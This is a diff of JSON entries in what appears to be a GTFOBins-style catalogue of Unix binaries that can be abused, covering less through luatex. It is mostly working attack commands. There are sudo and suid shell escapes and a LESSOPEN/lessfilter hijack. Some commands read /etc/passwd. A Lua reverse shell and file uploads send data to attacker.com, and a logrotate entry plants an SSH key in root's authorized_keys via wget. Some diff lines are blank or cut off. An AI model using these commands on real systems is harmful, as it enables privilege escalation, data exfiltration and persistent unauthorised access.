|
14
21
|
},
|
|
15
22
|
{
|
|
16
|
-
"description": "This is useful when
|
|
17
|
-
"code": "less /etc/profile\n:e
|
|
23
|
+
"description": "This is useful when `less` is used as a pager by another binary to read a different file.",
|
|
24
|
+
"code": "less /etc/profile\n:e file_to_read\n"
|
|
18
25
|
}
|
|
19
26
|
],
|
|
20
27
|
"file-write": [
|
|
21
28
|
{
|
|
22
|
-
|
|
29
|
+
|
|
30
|
+
"code": "echo DATA | less\nsfile_to_write\nq\n"
|
|
23
31
|
},
|
|
24
32
|
{
|
|
25
33
|
"description": "This invokes the default editor to edit the file. The file must exist.",
|
|
26
|
-
"code": "less
|
|
34
|
+
"code": "less file_to_write\nv\n"
|
|
27
35
|
}
|
|
28
36
|
],
|
|
29
37
|
"sudo": [
|
|
30
38
|
{
|
|
39
|
+
|
|
31
40
|
"code": "sudo less /etc/profile\n!/bin/sh\n"
|
|
32
41
|
}
|
|
33
42
|
],
|
|
34
43
|
"suid": [
|
|
35
44
|
{
|
|
36
|
-
|
|
45
|
+
|
|
46
|
+
"code": "./less file_to_read\n"
|
|
37
47
|
}
|
|
38
48
|
]
|
|
39
49
|
}
|
|
40
|
-
}
|
|
50
|
+
}
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
"description": "This can read arbitrary files by creating a custom lessfilter script.\n",
|
|
6
|
+
"code": "echo '#!/bin/bash\ncat \"$1\"\nexit 0' > ~/.lessfilter\nchmod +x ~/.lessfilter\nexport LESSOPEN=\"|~/.lessfilter %s\"\nless /etc/passwd\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"shell": [
|
|
10
|
+
{
|
|
11
|
+
"description": "This can spawn an interactive shell by executing commands through lessfilter.\n",
|
|
12
|
+
"code": "echo '#!/bin/bash\n/bin/bash\nexit 0' > ~/.lessfilter\nchmod +x ~/.lessfilter\nexport LESSOPEN=\"|~/.lessfilter %s\"\nless anyfile\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"command": [
|
|
16
|
+
{
|
|
17
|
+
"description": "This executes arbitrary commands through the lessfilter mechanism.\n",
|
|
18
|
+
"code": "echo '#!/bin/bash\nCOMMAND\nexit 0' > ~/.lessfilter\nchmod +x ~/.lessfilter\nexport LESSOPEN=\"|~/.lessfilter %s\"\nless anyfile\n"
|
|
19
|
+
}
|
|
20
|
+
]
|
|
21
|
+
}
|
|
22
|
+
}
|
gtfo/data/lesspipe.json
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
"description": "This can read files by modifying the system lesspipe script if writable.\n",
|
|
6
|
+
"code": "echo 'cat /etc/passwd' >> /usr/bin/lesspipe.sh\nless anyfile\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"command": [
|
|
10
|
+
{
|
|
11
|
+
"description": "This executes commands if the lesspipe script is writable.\n",
|
|
12
|
+
"code": "echo 'COMMAND' >> /usr/bin/lesspipe.sh\nless anyfile\n"
|
|
13
|
+
}
|
|
14
|
+
]
|
|
15
|
+
}
|
|
16
|
+
}
|
gtfo/data/lftp.json
ADDED
gtfo/data/links.json
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\nlinks \"$LFILE\"\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\n./links \"$LFILE\"\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"sudo": [
|
|
16
|
+
{
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\nsudo links \"$LFILE\"\n"
|
|
19
|
+
}
|
|
20
|
+
]
|
|
21
|
+
}
|
|
22
|
+
}
|
gtfo/data/ln.json
ADDED
gtfo/data/loginctl.json
ADDED
gtfo/data/logrotate.json
ADDED
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"command": [
|
|
4
|
+
{
|
|
5
|
+
"description": "Requires a logrotate policy which uses the `mail` directive. A hash should be used as the final character in the command, as it is run with a few arguments.",
|
|
6
|
+
"code": "COMMAND='id &> /tmp/output #'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\nlogrotate -m \"$TF\" -v -f logrotate.policy\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"shell": [
|
|
10
|
+
{
|
|
11
|
+
"description": "Requires a logrotate policy which uses the `mail` directive.",
|
|
12
|
+
"code": "COMMAND='/usr/bin/bash -i #'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\nlogrotate -m \"$TF\" -v -f logrotate.policy\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"file-write": [
|
|
16
|
+
{
|
|
17
|
+
"description": "Creates or overwrites the file with the exact text `logrotate state -- version 2`",
|
|
18
|
+
"code": "LFILE=file_to_write\nlogrotate -s \"$LFILE\" logrotate.policy\n"
|
|
19
|
+
},
|
|
20
|
+
{
|
|
21
|
+
"description": "Creates or overwrites the file with junk data in combination with arbitrary data.",
|
|
22
|
+
"code": "LFILE=file_to_write\nDATA=data_to_write\nlogrotate -l \"$LFILE\" \"$DATA\"\n"
|
|
23
|
+
}
|
|
24
|
+
],
|
|
25
|
+
"file-read": [
|
|
26
|
+
{
|
|
27
|
+
"description": "Reads the first 'word'.",
|
|
28
|
+
"code": "LFILE=file_to_read\nlogrotate \"$LFILE\"\n"
|
|
29
|
+
}
|
|
30
|
+
],
|
|
31
|
+
"sudo": [
|
|
32
|
+
{
|
|
33
|
+
"description": "If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access. Note that this will overwrite `/etc/cron.daily/man-db` with a cronjob.",
|
|
34
|
+
"code": "sudo logrotate -l /etc/cron.daily/man-db '2>/dev/null;wget https://example.com/ssh.key -O /root/.ssh/authorized_keys2; exit 0;'\n"
|
|
35
|
+
}
|
|
36
|
+
]
|
|
37
|
+
}
|
|
38
|
+
}
|
gtfo/data/logsave.json
CHANGED
|
@@ -2,18 +2,21 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "logsave /dev/null /bin/sh -i\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"sudo": [
|
|
9
10
|
{
|
|
10
|
-
|
|
11
|
+
|
|
12
|
+
"code": "sudo logsave /dev/null /bin/sh -i\n"
|
|
11
13
|
}
|
|
12
14
|
],
|
|
13
15
|
"suid": [
|
|
14
16
|
{
|
|
15
|
-
|
|
17
|
+
|
|
18
|
+
"code": "./logsave /dev/null /bin/sh -i -p\n"
|
|
16
19
|
}
|
|
17
20
|
]
|
|
18
21
|
}
|
|
19
|
-
}
|
|
22
|
+
}
|
gtfo/data/look.json
CHANGED
|
@@ -2,18 +2,21 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"file-read": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\nlook '' \"$LFILE\"\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"suid": [
|
|
9
10
|
{
|
|
10
|
-
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\n./look '' \"$LFILE\"\n"
|
|
11
13
|
}
|
|
12
14
|
],
|
|
13
15
|
"sudo": [
|
|
14
16
|
{
|
|
15
|
-
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\nsudo look '' \"$LFILE\"\n"
|
|
16
19
|
}
|
|
17
20
|
]
|
|
18
21
|
}
|
|
19
|
-
}
|
|
22
|
+
}
|
gtfo/data/lp.json
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-upload": [
|
|
4
|
+
{
|
|
5
|
+
"description": "To collect the file run the following on the attacker box (this requires `cups` to be installed):\n\n1. `lpadmin -p printer -v socket://localhost -E` to create a virtual printer;\n2. `lpadmin -d printer` to set the new printer as default;\n3. `cupsctl --remote-any` to enable printing from the Internet;\n4. `nc -lkp 9100` to receive the file.\n\nSend a local file to a CUPS server.\n",
|
|
6
|
+
"code": "LFILE=file_to_send\nRHOST=attacker.com\nlp $LFILE -h $RHOST\n"
|
|
7
|
+
}
|
|
8
|
+
]
|
|
9
|
+
}
|
|
10
|
+
}
|
gtfo/data/ltrace.json
CHANGED
|
@@ -3,23 +3,25 @@
|
|
|
3
3
|
"file-read": [
|
|
4
4
|
{
|
|
5
5
|
"description": "The file is parsed as a configuration file and its content is shown as error messages, thus this is not suitable to exfiltrate binary files.",
|
|
6
|
-
"code": "
|
|
6
|
+
"code": "LFILE=file_to_read\nltrace -F $LFILE /dev/null\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"file-write": [
|
|
10
10
|
{
|
|
11
|
-
"description": "The data to be written appears amid the library function call log, quoted and with special characters escaped in octal notation. The string representation will be truncated, pick a value big enough. More generally, any binary that executes whatever library function call passing arbitrary data can be used in place of
|
|
12
|
-
"code": "
|
|
11
|
+
"description": "The data to be written appears amid the library function call log, quoted and with special characters escaped in octal notation. The string representation will be truncated, pick a value big enough. More generally, any binary that executes whatever library function call passing arbitrary data can be used in place of `ltrace -F DATA`.",
|
|
12
|
+
"code": "LFILE=file_to_write\nltrace -s 999 -o $LFILE ltrace -F DATA\n"
|
|
13
13
|
}
|
|
14
14
|
],
|
|
15
15
|
"shell": [
|
|
16
16
|
{
|
|
17
|
-
|
|
17
|
+
|
|
18
|
+
"code": "ltrace -b -L /bin/sh\n"
|
|
18
19
|
}
|
|
19
20
|
],
|
|
20
21
|
"sudo": [
|
|
21
22
|
{
|
|
22
|
-
|
|
23
|
+
|
|
24
|
+
"code": "sudo ltrace -b -L /bin/sh\n"
|
|
23
25
|
}
|
|
24
26
|
]
|
|
25
27
|
}
|
gtfo/data/lua.json
CHANGED
|
@@ -2,56 +2,62 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "lua -e 'os.execute(\"/bin/sh\")'\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"non-interactive-reverse-shell": [
|
|
9
10
|
{
|
|
10
|
-
"description": "Run
|
|
11
|
-
"code": "
|
|
11
|
+
"description": "Run ``nc -l -p 12345`` on the attacker box to receive the shell. This requires `lua-socket` installed.",
|
|
12
|
+
"code": "export RHOST=attacker.com\nexport RPORT=12345\nlua -e 'local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n while true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\n end;\n f:close();t:close();'\n"
|
|
12
13
|
}
|
|
13
14
|
],
|
|
14
15
|
"non-interactive-bind-shell": [
|
|
15
16
|
{
|
|
16
|
-
"description": "Run
|
|
17
|
-
"code": "
|
|
17
|
+
"description": "Run `nc target.com 12345` on the attacker box to connect to the shell. This requires `lua-socket` installed.",
|
|
18
|
+
"code": "export LPORT=12345\nlua -e 'local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n while true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\n end;c:close();f:close();'\n"
|
|
18
19
|
}
|
|
19
20
|
],
|
|
20
21
|
"file-upload": [
|
|
21
22
|
{
|
|
22
|
-
"description": "Send a local file via TCP. Run
|
|
23
|
-
"code": "
|
|
23
|
+
"description": "Send a local file via TCP. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file. This requires `lua-socket` installed.",
|
|
24
|
+
"code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_to_send\nlua -e '\n local f=io.open(os.getenv(\"LFILE\"), 'rb')\n local d=f:read(\"*a\")\n io.close(f);\n local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n t:send(d);\n t:close();'\n"
|
|
24
25
|
}
|
|
25
26
|
],
|
|
26
27
|
"file-download": [
|
|
27
28
|
{
|
|
28
|
-
"description": "Fetch a remote file via TCP. Run
|
|
29
|
-
"code": "
|
|
29
|
+
"description": "Fetch a remote file via TCP. Run `nc target.com 12345 < \"file_to_send\"` on the attacker box to send the file. This requires `lua-socket` installed.",
|
|
30
|
+
"code": "export LPORT=12345\nexport LFILE=file_to_save\nlua -e 'local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n local d,x=c:receive(\"*a\");\n c:close();\n local f=io.open(os.getenv(\"LFILE\"), \"wb\");\n f:write(d);\n io.close(f);'\n"
|
|
30
31
|
}
|
|
31
32
|
],
|
|
32
33
|
"file-write": [
|
|
33
34
|
{
|
|
34
|
-
|
|
35
|
+
|
|
36
|
+
"code": "lua -e 'local f=io.open(\"file_to_write\", \"wb\"); f:write(\"DATA\"); io.close(f);'\n"
|
|
35
37
|
}
|
|
36
38
|
],
|
|
37
39
|
"file-read": [
|
|
38
40
|
{
|
|
39
|
-
|
|
41
|
+
|
|
42
|
+
"code": "lua -e 'local f=io.open(\"file_to_read\", \"rb\"); print(f:read(\"*a\")); io.close(f);'\n"
|
|
40
43
|
}
|
|
41
44
|
],
|
|
42
|
-
|
|
45
|
+
"suid": [
|
|
43
46
|
{
|
|
44
|
-
|
|
47
|
+
|
|
48
|
+
"code": "lua -e 'local f=io.open(\"file_to_read\", \"rb\"); print(f:read(\"*a\")); io.close(f);'\n"
|
|
45
49
|
}
|
|
46
50
|
],
|
|
47
51
|
"sudo": [
|
|
48
52
|
{
|
|
49
|
-
|
|
53
|
+
|
|
54
|
+
"code": "sudo lua -e 'os.execute(\"/bin/sh\")'\n"
|
|
50
55
|
}
|
|
51
56
|
],
|
|
52
57
|
"limited-suid": [
|
|
53
58
|
{
|
|
54
|
-
|
|
59
|
+
|
|
60
|
+
"code": "./lua -e 'os.execute(\"/bin/sh\")'\n"
|
|
55
61
|
}
|
|
56
62
|
]
|
|
57
63
|
}
|
gtfo/data/lualatex.json
CHANGED
|
@@ -1,19 +1,21 @@
|
|
|
1
1
|
{
|
|
2
|
-
"description": "This allows to execute Lua code.",
|
|
3
2
|
"functions": {
|
|
4
3
|
"shell": [
|
|
5
4
|
{
|
|
6
|
-
|
|
5
|
+
|
|
6
|
+
"code": "lualatex -shell-escape '\\documentclass{article}\\begin{document}\\directlua{os.execute(\"/bin/sh\")}\\end{document}'\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"sudo": [
|
|
10
10
|
{
|
|
11
|
-
|
|
11
|
+
|
|
12
|
+
"code": "sudo lualatex -shell-escape '\\documentclass{article}\\begin{document}\\directlua{os.execute(\"/bin/sh\")}\\end{document}'\n"
|
|
12
13
|
}
|
|
13
14
|
],
|
|
14
15
|
"limited-suid": [
|
|
15
16
|
{
|
|
16
|
-
|
|
17
|
+
|
|
18
|
+
"code": "./lualatex -shell-escape '\\documentclass{article}\\begin{document}\\directlua{os.execute(\"/bin/sh\")}\\end{document}'\n"
|
|
17
19
|
}
|
|
18
20
|
]
|
|
19
21
|
}
|
gtfo/data/luatex.json
CHANGED
|
@@ -1,19 +1,21 @@
|
|
|
1
1
|
{
|
|
2
|
-
"description": "This allows to execute Lua code.",
|
|
3
2
|
"functions": {
|
|
4
3
|
"shell": [
|
|
5
4
|
{
|
|
6
|
-
|
|
5
|
+
|
|
6
|
+
"code": "luatex -shell-escape '\\directlua{os.execute(\"/bin/sh\")}\\end'\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"sudo": [
|
|
10
10
|
{
|
|
11
|
-
|
|
11
|
+
|
|
12
|
+
"code": "sudo luatex -shell-escape '\\directlua{os.execute(\"/bin/sh\")}\\end'\n"
|
|
12
13
|
}
|
|
13
14
|
],
|
|
14
15
|
"limited-suid": [
|
|
15
16
|
{
|
|
16
|
-
|
|
17
|
+
|
|
18
|
+
"code": "./luatex -shell-escape '\\directlua{os.execute(\"/bin/sh\")}\\end'\n"
|
|
17
19
|
}
|
|
18
20
|
]
|
|
19
21
|
}
|